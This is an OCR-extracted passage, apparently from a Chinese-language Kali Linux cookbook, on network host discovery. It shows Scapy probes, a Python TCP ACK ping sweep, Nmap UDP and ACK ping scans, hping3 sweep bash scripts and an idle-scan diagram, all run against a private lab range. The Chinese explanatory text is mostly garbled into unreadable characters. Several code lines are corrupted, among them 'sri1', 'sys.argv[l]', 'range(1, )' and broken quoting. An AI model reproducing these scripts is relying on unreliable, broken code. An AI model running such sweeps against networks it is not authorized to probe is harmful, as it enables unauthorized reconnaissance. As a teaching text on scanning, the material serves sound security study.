dport= ftp_data
seq= 0
ack= 0
dataofs= 5L
reserved= OL
flags= R
window= 0
chksum= 0xala
urgptr= 0
options= {}
###[ Padding ]###
load= '\x00\x00\x00\x00\x00\x00'

AR FRE > BAF TCP st MK IUSH 2 80 £ s e 1111 (Rt LETR
SWa) o FEE S NFEHALENIT AR Ofe X A R ek A48 R 8 o
WX ETGT A E AR O LI FHEBETYIRSE » EHEGAERE RST AL © 5
gh rﬁ&a’%%% MR EZINEEHNARAAEL RN IP A > N KRR E
v oo XA SERF G A IP i&iﬂ*fiﬁ H5FRALEL X0 IP #uik k3
TE 2



>>> response = sr1(IP(dst="172.16.36.136")/TCP(dport=80,flags="'A
'), timeo ut=1)
Begin emission:

Received 3559 packets, got O answers, remaining 1 packets

Ak > Bt EF » RAVRIA T R %5 E 3 THART3 0 8) ACK 2B & - £k
Tk A4l o A5 R RST 2438 &, » 1240 RZ A F3h T4 ’57\7}&1;: s MR 2P
BRBRE o BE—ANFHE  RACERE  ENTRALRE5HFANARL LG %
Mo #AITRE Eké?%i&ﬁﬁ%bé 4T&mw%Pwmn%éﬁm 2K
1AM GIRH 7] / 24 M 450 H “Péﬁﬁﬁﬁiﬂsﬁt F@HENERG LG —
TCP s XA ¥ AN ACK B 6L o i FHHENIMR AR » KATTAE H i
B EF P Mt 7] & o

#!/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

if len(sys.argv) != 2:

print "Usage - ./ACK_Ping.py [/24 network address]"

print "Example - ./ACK_Ping.py 172.16.36.0"

print "Example will perform a TCP ACK ping scan of the 172.1
6.36.0/24 range"

sys.exit()

address = str(sys.argv[l])
prefix = address.split('.')[0] + '.' + address.split('.')[1] + '
.'" + address.split('.')[2] + '.'

for addr in range(1, ):
response = sri1(IP(dst=prefix+str(addr))/TCP(dport=80,flags="
A'), timeout=1,verbose=0)
try:
if int(response[TCP].flags) ==
print "172.16.36."+str(addr)
except:
pass

R TOIM ARG WL o SMHBIRBT IP AP RE—MINALF T EEAT R
1A B » ACK 3t 614k & % %] TCP 5% v 80 » # B ¥ fbva & ka4 € om )2 F 49 TCP 1z.&
MR EGTEAE 4 (52 B RSTAIMEEZME) o WwRHEIESLELHA RST
& 0 B A R El v 2 09 A 4G IP 3k o e R R A KB R & 0 Python &%



MRef e E A > RARKHALRETE o Aok > wREAFBE AL > K EER
Voo WwRBEAF  WAK AT o ARIMETES B iR IP AT R o by
AT AL 6] 5 Fofbir o JG 3R T AT B A 09 8 AR IAT

root@KaliLinux:~# ./ACK_Ping.py

Usage - ./ACK_Ping.py [/24 network address]

Example - ./ACK_Ping.py 172.16.36.0

Example will perform a TCP ACK ping scan of the 172.16.36.0/24 r
ange

root@KaliLinux:~# ./ACK_Ping.py

172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

R EINF ETVARTAER UDP il Rk P ATEWE LI o A THTENALTT
A4l UDP #r sl &R L EAL 0 BATE 254 € Lo AT AEAT 24T UDP 8975 30 ZAUAR K @
Fio A RAARGHLE UDP# o LEFRE o AT EREZA RNK¥B AL
Scapy T # &AM 891F LA -

iy

root@KalilLinux:~# scapy Welcome to Scapy (2.2.0)
>>> 1 = IP()
>>> j.dst = "172.16.36.135"
>>> u = UDP()
>>> request = (i/u)
>>> request.display()
###[ IP |###
version= 4
ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\
#i#[ UDP |###
sport= domain
dport= domain
len= None
chksum= None

& UDPt £ 69 BB An B Azsd 0 23k % A4 (DNS) o X&—#% R
%o TRATHREBAT A IP Rt o REFRERACERTHY > IP AT
5EH IMARXLIE o RANFRGFTHTULEA TSP EE



>>> reply = sril(request, timeout=1, verbose=1)

Begin emission:

Finished to send 1 packets.

Received 7 packets, got @ answers, remaining 1 packets

Rz 5 Bin IP dibdn X #) AR EHH 6 » A2 RN A KB AR o RN > ez
M EIFEZd T DNS RS EABRAA LA c KARA SR S0 F i E N
R B AT ER o RTES A AEE > ARHTAZRBIRMNKRETIR
%89 UDP 3% 0 Kk 3202 Bl 4 > fB% ICMP R E R KMk o A » £NZE
A Pl —h RAZEE| R AR R 69 R F UDP 3% 2 ¢



>>> u.dport = 123

>>> request (1/u)

>>> reply = sril(request, timeout=1, verbose=1)

Begin emission: Finished to send 1 packets.

Received 5 packets, got 1 answers, remaining 0 packets

>>> reply.display()

#Hit#[ IP |###

version= 4L
ihl= 5L
tos= 0xcO
len= 56
id= 62614
flags=
frag= oL
ttl= 64
proto= icmp
chksum= 0xe412
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i##[ ICMP ###
type= dest-unreach
code= port-unreachable
chksum= 0x9e72
unused= 0
###[ IP in ICMP |###
version= 4L
ihl= 5L
tos= Ox0
len= 28
id= 1
flags=
frag= OL
ttl= 64
proto= udp
chksum= 0xd974
src= 172.16.36.180
dst= 172.16.36.135
\options\

###[ UDP in ICMP ]###
sport= domain
dport= ntp
len= 8
chksum= 0x5dd2

WA FROFERAR D123 REETHAEE » RAVAE LK — A 0 &
Bl B AR3H O RT3k o de R A& bl &2 8908 IP Houdk o AR VAA B € R M K E R4 F
KOG EHE %N o oo S ZAREE IR IP LI TEHRE - R E
% s ERBEEATHRELRE L o IAZRGHAREERAREZE LB ETIRE
BEEMNG ZAAERLERE o £/ A4k > UDP XA F b TCP X 3L & AT o E I
EARLBEEAFAHENGTEY TCP EIBEAM LA E - AIREHEHELEGELT »



WEEFEREFLOHIRM o FZHL > FEFM S E &6 UDP 28T A » TlE
A &#F UDP # KA IR 445 € 694K 4t » R AR T IMA T XK TIEMTL TP
Bk o

TAER A

X ER PG THIME R UDP A= TCP X7 X o &AL 1L F] Scapy k#I4F 8 & X
HR o kAR LB BRAEFH EN o £ TCP BHFEALT » IMHBET B & LY
ACK #H e F (LA HNAFAL LNEER D o £3HKE] RST A8 HF L
T o AR BRPAEHNE o RAE > E69 UDP R AL EREFZsm o » RZ2RFK
ICMP 5% 9 R Tikof iz o vk T FIAE &3 A GL09ARIR o RJG L H K P oy £ — AHT
T A4 Python Bp A 4% A » k2t % A ALK TE B AT LI ©

212 1 Nmap £ & %W 2
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root@KaliLinux:~# nmap 172.16.36.135 -PU53 -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-11 20:11 EST

Nmap scan report for 172.16.36.

MAC Address: 00:0C:29:3D:84:32

135 Host is up (0.00042s latency)

(VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

This UDP discovery scan can also be modified to perform a scan o
f a sequential range by using dash notation. In the example prov
ided, we will scan the entire 172.16.36.0/24 address range:
root@KalilLinux:~# nmap 172.16.36.0-255 -PU53 -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 06:33 EST

Nmap scan report for 172.16.36.

Host is up (0.00020s latency).
MAC Address: 00:50:56:C0:00:08

Nmap scan report for 172.16.36.

Host is up (0.00018s latency).
MAC Address: 00:50:56:FF:2A:8E

Nmap scan report for 172.16.36.

Host is up (0.00037s latency).
MAC Address: 00:0C:29:65:FC:D2

Nmap scan report for 172.16.36.

Host is up (0.00041s latency).
MAC Address: 00:0C:29:3D:84:32

Nmap scan report for 172.16.36.

Host is up.

Nmap scan report for 172.16.36.

Host is up (0.00015s latency).
MAC Address: 00:50:56:EB:E1:8A
Nmap done: 256 IP addresses (6

1

(VMware)
2

(VMware)
132

(VMware)
135

(VMware)
180

254

(VMware)
hosts up) scanned in 3.91 seconds

52 KL WA ZPTE L E— A 5| IP #ak AT Nmap UDP ping # K ©
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SEM



root@KaliLinux:~# nmap -iL iplist.txt -sn -PU53

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 06:36 EST
Nmap scan report for 172.16.36.2

Host is up (0.00015s latency).

MAC Address: 00:50:56:FF:2A:8E (VMware)

Nmap scan report for 172.16.36.1

Host is up (0.00024s latency).

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 172.16.36.135

Host is up (0.00029s latency).

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap scan report for 172.16.36.132

Host is up (0.00030s latency).

MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.180

Host is up.

Nmap scan report for 172.16.36.254

Host is up (0.00021s latency).

MAC Address: 00:50:56:EB:E1:8A (VMware)

Nmap done: 6 IP addresses (6 hosts up) scanned in 0.31 seconds

RERARIETHPEHF—NOMBERALAT SAAEI o ERZ T —FARIRSA
FAATIA L UDP K7 A A o & T £ UDP % o 53 EdhiTegdRm 2 9} »
Nmap &3 F| AT L C R INHE K » RN T TEE A RLEMAT] EZ A I o
BAR -sn LARAMGIET Nmap #4T TCP % 2iady » 28 R XA & K8
UDP ping %K o BAZA AKX 7 ik Rk BEZAMESL > ART XA L A
Wireshark & TCPdump F &9 & » k# i@ UDP /5 KRR T o KA >
Nmap 27T XL il T ¥4 Scapy #4948 F] 77 R, » k4T TCP ACK ping © # T4/ ACK
BAE QR F M EHESREAL R E ML -PA T :

root@KalilLinux:~# nmap 172.16.36.135 -PA80 -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-11 20:09 EST
Nmap scan report for 172.16.36.135

Host is up (0.00057s latency).

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

TCP ACK ping &I 7 % T vAE Al 337 5 44 5 & — e B 8 T EIAT » RET
AT A AL T 6 T AR EAT



root@KalilLinux:~# nmap 172.16.36.0-255 -PA80 -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 06:46 EST
Nmap scan report for 172.16.36.132

Host is up (0.00033s latency).

MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.135

Host is up (0.00013s latency).

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap scan report for 172.16.36.180

Host is up.

Nmap done: 256 IP addresses (3 hosts up) scanned in 3.43 seconds

root@KaliLinux:~# nmap -iL iplist.txt -PA80 -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 06:47 EST
Nmap scan report for 172.16.36.135

Host is up (0.00033s latency).

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap scan report for 172.16.36.132

Host is up (0.00029s latency).

MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.180

Host is up.

Nmap done: 3 IP addresses (3 hosts up) scanned in 0.31 seconds

IR
Nmap A T#47 TCP X e K89 KRR » 5 Scapy A TH#4T TCP XA K
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£ hping3 #ATHEWE XA EELIEINK » B A Internet L6+ % A G444 =
2 TCP #= UDP # K o 122 » B A ZE DR R AR A T8 LI IRE P PATAEFT R A 49
R & 3aks » 8RR AR RIE S BEAT S A a0 6 EAZEN, o w BIRAZ A E
BIF P HATHHE AR » REZZVH — A TCP/UDP #% K8 A4 - AREH T
% » 4% A Linux = Windows A 469204 o A X R ERIRFE PR E LALLM E
%143 8 > A H — % P49 2 £ Metasploitable2”#“% ¥ Windows Server’#:4 o
ot AP X ERFAIARESR (42 VIM X Nano) ¥ ABAIHEAL - A £
BEMANE LI HANS—FPHGRAIARRES (VIMF Nano) "#b4% o
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5 Nmap ©~Fl » hping3 @[ HEES - 489542 1R 7] AL 4518 ] UDP R4 &L 389
EHe MEAEA --udp EAAET UDP X o T xl4iE 4 UDP R4k 2 RXAR R E )
ImK =g

root@KaliLinux:~# hping3 --udp 172.16.36.132

HPING 172.16.36.132 (ethl 172.16.36.132): udp mode set, 28 heade
rs + 0 data bytes

ICMP Port Unreachable from ip=172.16.36.132 name=UNKNOWN statu
s=0 port=2792 seq=0

ICMP Port Unreachable from ip=172.16.36.132 name=UNKNOWN statu
s=0 port=2793 seqg=1

ICMP Port Unreachable from ip=172.16.36.132 name=UNKNOWN statu
S=0 port=2794 seq=2 AF

ICMP Port Unreachable from ip=172.16.36.132 name=UNKNOWN statu
s=0 port=2795 seq=3

NC

--- 172.16.36.132 hping statistic --

4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 1.8/29.9/113.4 ms

FRAEGFE R > ctrl + ¢ ATF4EL#42 o £ UDP X T4 A hping3 B > &
FLEMBGFTEFTEXLTH LR ETNHIEL ) TMNELEREELIN - AT EXLERE
ZRRE D R L -c AF—DMRTIE LR K9 FAE -

root@KalilLinux:~# hping3 --udp 172.16.36.132 -c 1

HPING 172.16.36.132 (ethl 172.16.36.132): udp mode set, 28 heade
rs + 0 data bytes

ICMP Port Unreachable from ip=172.16.36.132 name=UNKNOWN statu
S=0 port=2422 seq=0

--- 172.16.36.132 hping statistic --
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 104.8/104.8/104.8 ms



& hping3 KINEAT AR XFaME S NARL » 27T X04E A bash B K42 5 % 5 b
Ko ATHMBIZ— 8 » KALM B LTS EFH3AAR G E » ARG JEvA 23
heAe X 2 B R B o Ak s RATEL HA K5 B TALEY IP Hoht E4% F 48 F 69

we

root@KaliLinux:~# hping3 --udp 172.16.36.131 -c 1

HPING 172.16.36.131 (ethl 172.16.36.131): udp mode set, 28 heade
rs + 0 data bytes

--- 172.16.36.131 hping statistic

--1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

i iR H] K Hef RP ey —ANegAn Ko o BATT A B KATT 2L grep #9°E—
FHE T HERBEERDGENEZRGERMG LRI ER - AXTTHEFERT >
RITRCEZIEZES > “ICMP 38 0 AT X" BR ARG HEOFEALT LT o AT
oo ZATTT AL 2t Unreachable #4T grep RBRIURIGZRK o A T ALk
TIEERARF R RN s BINERZREFERANLTOGEL  REBmBEELK
189 grep K& o ME RN GLFGFH ST RAGZXAE—6 > RITLER
F R & AL mE

root@KaliLiniux:~# hping3 --udp 172.16.36.132 -c 1; hping3 --udp
172.16.36.131 -c¢ 1 | grep "Unreachable"HPING 172.16.36.132 (eth
1 172.16.36.132): udp mode set, 28 headers + 0 data bytes

ICMP Port Unreachable from ip=172.16.36.132 name=UNKNOWN statu
s=0 port=2836 seq=0

--- 172.16.36.132 hping statistic --

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 115.2/115.2/115.2 ms

--- 172.16.36.131 hping statistic --

1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

REFATIMEGER » EZMHELT > grep JIEM-FIREAZA Tk o &
T hping3 FHIMEEFAE » B AR EEAEED grep Rk 0 FFRRERPT
FEAT 0 BATT A Z XA LAy X AR RZ AR o BARKRIE » A 2 XA W
BEGTAEZ@E —AM s RERNTUAABEMIHTF grep o Ak KA
Z X AR R 8 AN A 6y s 45 % %5 handle.txt XA :



root@KaliLinux:~# hping3 --udp 172.16.36.132 -c 1 >> handle.txt

--- 172.16.36.132 hping statistic --

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 28.6/28.6/28.6 ms

root@KaliLinux:~# hping3 --udp 172.16.36.131 -c 1 >> handle.txt

--- 172.16.36.131 hping statistic --

1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

root@KaliLinux:~# 1ls Desktop handle.txt

root@KaliLinux:~# cat handle.txt

HPING 172.16.36.132 (ethl 172.16.36.132): udp mode set, 28 heade
rs + 0 data bytes

ICMP Port Unreachable from ip=172.16.36.132 name=UNKNOWN statu
s=0 port=2121 seq=0

HPING 172.16.36.131 (ethl 172.16.36.131): udp mode set, 28 heade
rs + 0 data bytes

BAZIMHZRAFTERY  ARARMBEARA R ECEE XM » KA TAE R A
RIS M 0 R E—DNA KGR o BIRRH » RNEB T T H— AR
— 847 BATR G R ping BRAM KK > FHLELS BT ALY IP Hohk o &
Bo ik $o R R Ty kAT AT 0 BRAVFRZ RG] / 24 CEFOEANML > RS
¥4 45 R 4%3#% %] handle.txt XAF :

root@KalilLinux:~# for addr in $(seq 1 254); do hping3 --udp 172.
16.36.%addr -c¢ 1 >> handle.txt; done

--- 172.16.36.1 hping statistic --

1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

--- 172.16.36.2 hping statistic --

1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

--- 172.16.36.3 hping statistic --

1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

BRI MAAEREGHE (REGHBEAT AEREEBE) 5 KEZLHE
XA o /2% s AT R R TR ETmEERGT SHE » mLAETI
Wb U P IRRL 24T B RS -



root@KaliLinux:~# 1s

Desktop handle.txt

root@KaliLinux:~# grep Unreachable handle.txt

ICMP Port Unreachable from ip=172.16.36.132 HPING 172.16.36.133
(ethl 172.16.36.133): udp mode set, 28 headers + 0 data bytes
ICMP Port Unreachable from ip=172.16.36.135 HPING 172.16.36.136
(ethl 172.16.36.136): udp mode set, 28 headers + 0 data bytes

TRIFEVEIRGE » TER 1s 45 A S A B ZPHATH B M > RETUAEEN
A F 2 Unreachable 8" —F 4 $#AT grep * W T —ANFELHT o AR
P BAOTTAEE » 2131 T UDP M LI FEAZF 3 TAL o sbit » a‘sl “Fé’]
HE—AE S M bA P ARAL 1P 3k 0 RB KL EAN SR G EA LA A

A

root@KaliLinux:~# grep Unreachable handle.txt

ICMP Port Unreachable from ip=172.16.36.132

HPING 172.16.36.133 (ethl 172.16.36.133): udp mode set, 28 heade
rs + 0 data bytes

ICMP Port Unreachable from ip=172.16.36.135

HPING 172.16.36.136 (ethl 172.16.36.136): udp mode set, 28 heade
rs + 0 data bytes

root@KaliLinux:~# grep Unreachable handle.txt | cut -d " " -f 5
ip=172.16.36.132 ip=172.16.36.135

root@KaliLinux:~# grep Unreachable handle.txt | cut -d " " -f 5
| cut -d "=" -f 2 172.16.36.132 172.16.36.135

B hiE N EEEED — A7 cut RE o RATT AN E PRI P it o
MAERMNCERAHATT — 7%k RB#EZNINFRHENER » KIN 2%
BHEERI AT o BT ARXLEREASE ARGl ARG TH T :



#!/bin/bash
if [ "$#" -ne 1 ]; then

"Usage - ./udp_sweep.sh [/24 network address]"

"Example - ./udp_sweep.sh 172.16.36.0"

"Example will perform a UDP ping sweep of the 172.16.36
.0/24 network and output to an output.txt file"

fi
prefix=%( $1 | cut -d '.'" -f 1-3)

for addr in $(seq 1 254); do
hping3 $prefix.$addr --udp -c 1 >> handle.txt;
done

grep Unreachable handle.txt | cut -d " " -f 5 | cut -d "=" -f 2
>> output.txt
rm handle. txt

RS bash P AT » F—4T72 LT bash @B R 941 E o 45T R 69 RA kAT
MXEAETZAGRETHARG M5 IRALFFEREGEAROPREZAEIFT
1R T o WwRARBEIMI AL > Nl RGRA X FRLBEBR - AL
B WAREEEST / 24 MBIIAEN S o T 47K M4 69 M & 3uak P 327

R AT o Blde » o RATAE G B 412 192.168.11.0 ° N AT T ZHHOK
{64 192.168.11 ° RExt / 24 CE R GEANRIENAT hping3 #BE - F¥ &
ME G0 25 R A handle.txt XHFP o

root@KalilLinux:~# ./udp_sweep.sh
Usage - ./udp_sweep.sh [/24 network address]
Example - ./udp_sweep.sh 172.16.36.0
Example will perform a UDP ping sweep of the 172.16.36.0/24 netw
ork and output to an output.txt file
root@KalilLinux:~# ./udp_sweep.sh 172.16.36.0
--- 172.16.36.1 hping statistic --
1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
--- 172.16.36.2 hping statistic --
1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
--- 172.16.36.3 hping statistic --
1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
*** [TRUNCATED} ***
root@KalilLinux:~# ls output.txt
output.txt
root@KalilLinux:~# cat output.txt
172.16.36.132
172.16.36.135
172.16.36.253



B AEATH IR AS BB EMBHIMEF ARG K EMt o FEHE - FA
W INF|EZF LB FH KR A CERA ST ARG 5 E A o

R332 7T V4L hping3 #AT TCP &3 o TCP # X %+ L& hping3 1% /A &9 %Kk
AN » FETUGAT K ZaR09 IP k534 5] hping3 kA& A -

root@KaliLinux:~# hping3 172.16.36.132

HPING 172.16.36.132 (ethl 172.16.36.132): NO FLAGS are set, 40 h
eaders + 0 data bytes

len=46 ip=172.16.36.132 tt1l=64 DF id=0 sport=0 flags=RA seq=0 wi
n=0 rtt=3.7 ms

len=46 ip=172.16.36.132 tt1l=64 DF id=0 sport=0 flags=RA seq=1 wi
n=0 rtt=0.7 ms

len=46 ip=172.16.36.132 tt1l=64 DF id=0 sport=0 flags=RA seq=2 wi
n=0 rtt=2.6 ms

AC

--- 172.16.36.132 hping statistic --

3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.7/2.3/3.7 ms

KAV AT R — Mbashby KB3R5 ] / 24 W& H4EMA hping3 AT UDP X3
Hz AL s BATT AN TCP KL — N RMA B A o Bk > LR E—42

B BHAETEH AT > EREFrg I g XmEF o Ak &
A1 5L IR VA B AR AL

root@KalilLinux:~# hping3 172.16.36.132 -c 1

HPING 172.16.36.132 (ethl 172.16.36.132): NO FLAGS are set, 40 h
eaders + 0 data bytes

len=46 1ip=172.16.36.132 ttl=64 DF 1id=0 sport=0 flags=RA seq=0 wi
n=0 rtt=3.4 ms

--- 172.16.36.132 hping statistic --

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 3.4/3.4/3.4 ms

root@KalilLinux:~# hping3 172.16.36.131 -c 1

HPING 172.16.36.131 (ethl 172.16.36.131): NO FLAGS are set, 40 h
eaders + 0 data bytes

--- 172.16.36.131 hping statistic --

1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

ERAERLT » KEMARGLETEHD IS LHBEF o HB—XK > KINTAAL—
NEPAR o K E X @ EIEE handle XM 0 AJB grep LB H kA T &
2 E



#!/bin/bash
if [ "$#" -ne 1 ]; then

"Usage - ./tcp_sweep.sh [/24 network address]"

"Example - ./tcp_sweep.sh 172.16.36.0"

"Example will perform a TCP ping sweep of the 172.16.36
.0/24 network and output to an output.txt file"

fi
prefix=%( $1 | cut -d '.'" -f 1-3)

for addr in $(seq 1 254),; do
hping3 $prefix.$addr -c 1 >> handle.txt;
done

grep len handle.txt | cut -d " " -f 2 | cut -d "=" -f 2 >> outpu
t.txt
rm handle. txt

SLlp R 8 AT 7 N AT UDP R IR K o *f— 89 R 5| & £ 08I0 5 F AT 89 4
A grep MAFARELIP 3ALEG T A o IATE » B A& A R — output.txt X
B EF a4 A TCP A7 Xk LI 6y TALEGA X IP 3k s & o

root@KalilLinux:~# ./tcp_sweep.sh
Usage - ./tcp_sweep.sh [/24 network address]
Example - ./tcp_sweep.sh 172.16.36.0
Example will perform a TCP ping sweep of the 172.16.36.0/24 netw
ork and output to an output.txt file
root@KalilLinux:~# ./tcp_sweep.sh 172.16.36.0
--- 172.16.36.1 hping statistic --
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
--- 172.16.36.2 hping statistic --
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.6 ms
--- 172.16.36.3 hping statistic --
1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
*** [TRUNCATED} ***

BT UE T 1s AU R IBZ T EAMITE Z > #4388 cat oA
A% o ZTALAT =B+ A2



root@KaliLinux:~# ls output.txt
output.txt

root@KaliLinux:~# cat output.txt
172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

172.16.36.253
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Port is Open

=< = SYN s
Scanner Scanner IPSRC = Zombie Scanner
l T RST — T RST
SYN/ACK IPID = x svw SYN/ACK IPID = x+2
= = /’ Target =
RST
Zombie Zombie Rl Zombie

AT WATIE P 2 > k89 SYN+SCK 15 R & X 18 F A4 kW18 ® RST 3t
e, P L AT IPID A - 2 )5 » Kth%e) SYN HE X E Bk k » %ﬁfwfiméﬁ/f?
IP Huhk o e Rk 020 0 128 B Az 20% SYN+ACK "A 2 Z E1&8 F 4L & TH 2
EMHAZA FRRLAEZAEH SYN FHK > ©4¥% SYN+ACK *f & & k¥ B » #r
¥ RSTWHREZEHBAARIA > AR IPID 2315 H1zeiE P IR E A
—/~ SYN+ACK 3t & » i 232 = RST 3t &7 F X3 m IPID » 340 2 6 IPID & &
IR REEHALAET » HARE Uﬂiﬂ'ﬁiéﬁ R Z > Rk BAR695% 0 & X H
B 2REA—ARPN TR EHS > T FHKRST A IPID ARG H 1 o

T@OAETT EEPF IR TaMXAm o 7 ALGE o

Port is Closed

> % SYN >
Scanner Scanner SRC Zombie Scanner
2] st = RST
SYM’ACH !PID =X SYN/ACK IPID = x+1
“ = Target —
Zombie Zombie Zombie

o R EAARB O RHE » KAAEBFP A4 RSTH EEZ A% SYN H 690 o &
FTRSTHEZAFEWRE ~18F A4 IPID AT 23 me At » REbiati R 4L
é’JﬂiF 8 RST 3t @69 IPID A 2 238 Ao 1 o AT AL T AT B4 42 #6958 O
T BT AR TG R ALY FHE T A ELE THAMALARITT ARG R

o
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3.3 Scapy UDP i3



Scapy TR T E M %Mk feiz A 8 8 L3 8 o ERXAH4EF » Scapy &M T4
EH e UDP R % - BT URR R FE 26 UDP H @%b Birm o > LERA LA E L
ICMP R T i o1 & 89 3 0 3% 5291, o

£ %

A TA% M Scapy #4T UDP 424 » 4R & #— 547 UDP MBI 469 2R F & o
AP T F £A112 F Metasploitable2 52 4] k#1474 4% - & & Metasploitable2 # &
%43 Bk 5 % — % F 9% X Metasploitable2"#:4% °
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o AN S UDP R EH RS B R 5435 T 6915 K o 1B474% T IR %69 4o in 2R &4 SE
BRHNGIRES TR o2& F— LB FHTTUATHBREZEEITTLE
b9 UDP 3% v » JF BLfE 58 238 4% o KA 24% A Scapy #AF 69X #H 77 £ R 5] %
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root@KalilLinux:~# scapy
Welcome to Scapy (2.2.0)
>>> i = IP()
>>> j.display()
#a[ IP |###
version= 4
ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> j.dst = "172.16.36.135"
>>> i.display()
###[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= 1ip
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\

ATHEFRGIPE  ZNEFRKE 1P ¥EMLTE 1 c @I AM display &
oo RAVT AT 09 B HERE o % » KEFEZIAAT R A W% 3

Ao 127.0.0.1 © XA T LA ISR B ARMA k5K > AL AKX E i.dst A

BEPR I FIFBE o ML AR dislay REk > RA1E B R L F#H 69
Airht » WA FHEH TR IANZEOH LR IP bt o LARINMETHRGIP
B ZMNTUAMBEUDP BT o



>>> u = UDP()

>>> u.display()

#i#[ UDP |###
sport= domain
dport= domain
len= None
chksum= None

>>> y.dport

53

A THEEERGUDP B » RAVERAA IP BAAFR T o £ZXAZBF » upp 2t
ZRAET u TF - B ARBGAHE > KA EETIAAL AR display &k
KT o XD > RAVTVAE B Rk RAe B 4738 O 09 KIAAEAR & domain ° RTARELE
EB T » A TAH 0 5348 X469 DNS JE% o DNS =A% R % » 18 % A /e M %
AALERIN o ATHINE » HEAMNTRAL AT T LM ETEERAZME - 2
Ja o T AR I F B MR B Y #6G B ARSE O 4A R AR o

>>> u.dport = 123

>>> u.display()

###[ UDP ###
sport= domain
dport= ntp
len= None
chksum= None

ELE@megp T BiR3 %A 123 > LA NTP #3502 o« MAKNGET IP A=
UDP & » &ML AL &I ®LE k& HFR



>>> request = (1i/u)

>>> request.display()

#it#[ IP |###
version= 4

ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp

chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\

###[ UDP [###
sport= domain
dport= ntp
len= None
chksum= None

EMNTAABAIUHNE S ETEREXIPAUDP E - IXE@MIERL T HG T
T EREAEMNEFR  BRNZETARA dispaly R kEAHFRGRE - — 82
METIHER TRKEAEEL sr1 RS HAL :



>>> response = sril(request)
Begin emission:
...... Finished to send 1 packets.

Received 11 packets, got 1 answers, remaining O packets
>>> response.display()
#Hit#[ IP |###

version= 4L

ihl= 5L

tos= 0xcO

len= 56

id= 63687

flags=

frag= oL

ttl= 64

proto= icmp

chksum= Oxdfel

src= 172.16.36.135

dst= 172.16.36.180

\options\

#i##[ ICMP ###
type= dest-unreach
code= port-unreachable
chksum= 0x9e72
unused= 0

###[ IP in ICMP |###
version= 4L
ihl= 5L
tos= Ox0
len= 28
id= 1
flags=
frag= OL
ttl= 64
proto= udp
chksum= 0xd974
src= 172.16.36.180
dst= 172.16.36.135
\options\

###[ UDP in ICMP ]###
sport= domain
dport= ntp
len= 8
chksum= 0x5dd2

7]:5] Iﬂ éﬁi’%*?“?\ﬁﬁ#@%ﬁﬁi&%&*‘/—i ﬂiﬁb’ﬁ’ o )iz , &ﬂ]'ﬁi)ﬂ ﬁﬁi é/:""%é]}
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>>> sr1(IP(dst="172.16.36.135")/UDP(dport=123))
.Begin emission:
.*Finished to send 1 packets.

Received 6 packets, got 1 answers, remaining 0 packets

<IP version=4L ihl=5L tos=0xc0® len=56 1d=63689 flags= frag=0L t
t1=64 proto=icmp chksum=0xdfdf src=172.16.36.135 dst=172.16.36.1
80 options=[] |<ICMP type=dest-unreach code=port-unreachable ch
ksum=0x9e72 unused=0 |<IPerror version=4L ihl=5L tos=0x0 len=28
id=1 flags= frag=0L ttl=64 proto=udp chksum=0xd974 src=172.16.3
6.180 dst=172.16.36.135 options=[] |<UDPerror sport=domain dpor
t=ntp len=8 chksum=0x5dd2 |>>>>

